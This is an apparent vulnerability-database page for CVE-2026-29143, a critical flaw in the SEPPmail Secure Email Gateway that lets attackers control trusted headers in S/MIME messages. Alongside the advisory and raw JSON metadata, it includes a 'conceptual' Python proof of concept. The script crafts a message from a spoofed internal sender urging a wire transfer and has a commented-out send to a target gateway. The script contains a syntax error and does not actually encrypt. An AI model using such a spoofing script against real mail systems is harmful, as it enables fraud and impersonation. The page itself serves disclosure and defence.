Security Vulnerability Report
中文
CVE-2026-29143 CVSS 9.1 CRITICAL

CVE-2026-29143

Published: 2026-04-02 09:16:23
Last Modified: 2026-04-16 18:58:06

Description

SEPPmail Secure Email Gateway before version 15.0.3 does not properly authenticate the inner message of S/MIME-encrypted MIME entities, allowing an attacker to control trusted headers.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:seppmail:secure_email_gateway:*:*:*:*:*:*:*:* - VULNERABLE
SEPPmail Secure Email Gateway < 15.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-29143 # Description: This script demonstrates how to craft a MIME message # where the inner headers are manipulated to exploit the lack of authentication # on the inner message of S/MIME-encrypted entities in SEPPmail < 15.0.3. from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email import policy from email.generator import Generator import smtplib def create_exploit_mime(): # Step 1: Create the inner malicious message # Attackers aim to control these 'trusted' headers inner_msg = MIMEMultipart('mixed') inner_msg['From'] = '[email protected]' # Spoofed internal trusted sender inner_msg['To'] = '[email protected]' inner_msg['Subject'] 'Urgent: Wire Transfer Required' # Malicious payload body body = MIMEText('Please transfer funds immediately.', 'plain') inner_msg.attach(body) # Step 2: Wrap in outer entity (Simulating the S/MIME structure) # In a real exploit, this would be encrypted, but the vulnerability lies # in how the gateway processes the decrypted inner headers. outer_msg = MIMEMultipart('encrypted', protocol='application/pkcs7-mime') outer_msg['From'] = '[email protected]' outer_msg['To'] = '[email protected]' # The gateway fails to authenticate that 'inner_msg' is genuinely signed # by the spoofed '[email protected]', yet trusts its headers. outer_msg.attach(inner_msg) return outer_msg if __name__ == "__main__": exploit_msg = create_exploit_mime() print("[+] Crafted Exploit MIME Message:") print(exploit_msg.as_string()) # Logic to send to the vulnerable gateway # try: # with smtplib.SMTP('target_gateway_ip', 25) as server: # server.sendmail('[email protected]', '[email protected]', exploit_msg.as_string()) # print("[+] Exploit sent successfully.") # except Exception as e: # print(f"[-] Error sending exploit: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29143", "sourceIdentifier": "[email protected]", "published": "2026-04-02T09:16:23.123", "lastModified": "2026-04-16T18:58:05.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SEPPmail Secure Email Gateway before version 15.0.3 does not properly authenticate the inner message of S/MIME-encrypted MIME entities, allowing an attacker to control trusted headers."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:seppmail:secure_email_gateway:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.0.3", "matchCriteriaId": "E3729650-81CA-4311-94BF-14A7A191F8D1"}]}]}], "references": [{"url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#seppmail-vulnerability-disclosure-1503", "source": "[email protected]", "tags": ["Release Notes"]}]}}